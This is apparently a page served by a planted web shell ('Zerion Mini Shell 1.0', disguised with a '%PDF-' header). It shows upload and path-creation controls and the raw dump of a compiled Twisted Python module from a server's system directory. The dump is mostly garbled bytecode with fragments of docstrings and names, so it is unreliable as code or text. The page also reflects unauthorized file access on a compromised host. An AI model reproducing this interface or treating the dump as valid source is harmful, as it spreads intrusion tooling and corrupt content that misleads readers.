%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/python/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/python/__pycache__/rebuild.cpython-312.pyc

�

Ϫ�f�����UdZddlZddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZmZej�a
Gd�d�ZiZe	eefed	<d
�Zd�ZGd�d
e�Zd�Zd�Zdd�Zy)z&
*Real* reloading support for Python.
�N)�reload)�
ModuleType)�Dict)�log�reflectc�&�eZdZdZeZd�Zd�Zd�Zy)�	Sensitivez�
    A utility mixin that's sensitive to rebuilds.

    This is a mixin for classes (usually those which represent collections of
    callbacks) to make sure that their code is up-to-date before running.
    c�,�|jtk}|S�N)�lastRebuild)�self�yns  �8/usr/lib/python3/dist-packages/twisted/python/rebuild.py�needRebuildUpdatezSensitive.needRebuildUpdate$s��
�
�
��
+���	�c�6�tj�|_yr)�timer�r
s r�rebuildUpToDatezSensitive.rebuildUpToDate(s���9�9�;��rc�@�t|�}|tjk(rt|�S|tjk(rL|j
� t
|j|j�St
|j
|j�Stjd�|S)z�
        Get the latest version of an object.

        This can handle just about anything callable; instances, functions,
        methods, and classes.
        zwarning returning anObject!)�type�types�FunctionType�latestFunction�
MethodType�__self__�getattr�im_class�__name__r�msg)r
�anObject�ts   r�latestVersionOfzSensitive.latestVersionOf+s���
��N����"�"�"�!�(�+�+�
�%�"�"�
"�� � �(��x�0�0�(�2C�2C�D�D��x�0�0�(�2C�2C�D�D��G�G�1�2��OrN)r�
__module__�__qualname__�__doc__rrrr#�rrr	r	s����K��'�rr	�
_modDictIDMapc��t|j�}tj|�}|�|St	||j
�S)z/
    Get the latest version of a function.
    )�id�__globals__r(�getrr)�oldFunc�dictID�modules   rrrBsA����#�#�
$�F�
�
�
�v�
&�F�
�~����6�7�+�+�,�,rc��tj|j�}t||j�}|j
D�cgc]
}t
|���}}|jdk(r|S	t|�|_|Scc}w#t$r>t|�}||jt|�t|j��cYSwxYw)z,
    Get the latest version of a class.
    �builtins)r�namedModuler$rr�	__bases__�latestClass�tuple�	TypeErrorr�dict�__dict__)�oldClassr/�newClass�base�newBases�ctors      rr4r4Os����
 �
 ��!4�!4�
5�F��v�x�0�0�1�H�.6�.@�.@�A�d��D�!�A�H�A����j�(���Q�"�8�_������B���Q��H�~���H�%�%�u�X���X�=N�=N�8O�P�P�Q�s�A<�*B�AC�Cc��eZdZdZy)�RebuildErrorzT
    Exception raised when trying to rebuild a class whereas it's not possible.
    N)rr$r%r&r'rrr?r?ds��rr?c�8�t|j�|_y)z,
    Updates an instance to be current.
    N)r4�	__class__rs r�updateInstancerBjs��!����0�D�Nrc���|dk(rtd��t|�tjdt	j
|j��d|�d��t||�}|S)z<
    A getattr method to cause a class to be refreshed.
    �__del__zWithout this, Python segfaults.z(rebuilding stale z instance (z)))�AttributeErrorrBrr r�qualrAr)r
�name�results   r�__injectedgetattr__rIqs[���y���>�?�?��4���G�G� ����d�n�n�!=� >�k�$��r�R�S�
�T�4�
 �F��Mrc���tj�at|d�r|jst	d��|r,tjdt|j��d��ddl	m
}d|_|j}|tt|�<i}i}i}i}|r,tjdt|j��d	��|j�D]�\}}	t!t#|	�t$j&�r_|	j(|jus�Bd
||	<|s�Jt
j*j-d�t
j*j/���t1|	t"�s��|	j2|jk(s��d
||	<|s��t
j*j-d�t
j*j/���|j5|�|j5|�|j6}
|j9�}|j9�}|j9�}|rAtjd
�tjdt|j��d��t;|�t=j>�|r,tjdt|j��d	��|D]�}tA||j�|ur-tjdtCjD|��d���H|r=t
j*j-d�t
j*j/�d|_#|jjI�tJ|_&|j|_��|rddl'}|D]�}
tA||
j�}||
ur8tjdjQtCjD|
����UjS|
�D]}tA|dd�|
us�||_*���|rAtjd
�tjdt|j��d	��d}tVjXj�D�]\}}|d
z}||k(s|��t|d�s�!t|d�r�.d}|jj�D]s\}}		t[|	�|
|	�s�|r=t
j*j-d�t
j*j/�t_|	�}d
}ta|||��u|s��|r��|dzdk(s��t
j*j-d�t
j*j/���d|_|rAtjd
�tjdt|j��d��|S#t\$rY��wxYw)zO
    Reload a module and do as much as possible to replace its references.
    �ALLOW_TWISTED_REBUILDzI am not allowed to be rebuilt.zRebuilding z...r)�
componentsTz  (scanning z): ��f�o�z  (reload   �)z  (cleaning zWARNING: class z not replaced by reload!�xr'Nz-WARNING: new-class {} not replaced by reload!rAz  (fixing   �__file__�
__bundle__�
�.Fz   Rebuilt )1rr�hasattrrK�RuntimeErrorrr �strr�twisted.pythonrL�ALLOW_DUPLICATESr8r(r*�items�
issubclassrrrr+�logfile�write�flush�
isinstancer$�update�__contains__�keysr�	linecache�
clearcacherrrFr3�clearrI�__getattr__�gc�format�
get_referrersrA�sys�modules�hash�	Exceptionr�setattr)r/�doLogrL�d�
newclasses�classes�	functions�values�k�v�
fromOldModule�clazzri�nclass�ga�r�modcount�mk�mod�changed�nvs                     r�rebuildr�}s���
�)�)�+�K��v�.�/��+�+��@�A�A�����+�c�&�/�/�2�3�3�7�8�*�"&�J�����A�!�M�"�Q�%���J��G��I�
�F�����,�s�6�?�?�3�4�C�8�9����	�(���1��d�1�g�u�1�1�2��}�}����/� �	�!����K�K�%�%�c�*��K�K�%�%�'�
��4�
 ��|�|�v���.� !�
�1�
���K�K�%�%�c�*��K�K�%�%�'�(��M�M�'��
�M�M�)���'�'�M����"�J��l�l�n�G���� �I����������,�s�6�?�?�3�4�A�6�7��6�N�
��������,�s�6�?�?�3�4�C�8�9��
/���6�5�>�>�*�e�3��G�G�o�g�l�l�5�&9�%:�:R�S�T�����!�!�#�&����!�!�#� �E�O��N�N� � �"� 3�E��%���E��
/����%��
�V�V�_�_�
-��
��<��G�G�?�F�F��L�L��(��
��%�%�f�-�
%���1�k�4�0�F�:�"$�A�K�
%�%�
���������,�s�6�?�?�3�4�C�8�9��H��;�;�$�$�&� ���C��a�<���&�=�C�K���s�J�'���3��%�
����L�L�&�&�(�	$�D�A�q�
��Q���Q����K�K�%�%�c�*��K�K�%�%�'�#�A�&������Q��#�	$���x�"�}��&:��K�K���c�"��K�K����? �B#(�J�����������+�c�&�/�/�2�3�1�5�6��M��#�
��
�s�W�	W�W)rM)r&rerlrr�	importlibrr�typingrrZrrrr	r(�int�__annotations__rr4ror?rBrIr�r'rr�<module>r�s|����������(��d�i�i�k��"�"�J(*�
�t�C��O�$�)�
-�Q�*�9��1�	�}r

Zerion Mini Shell 1.0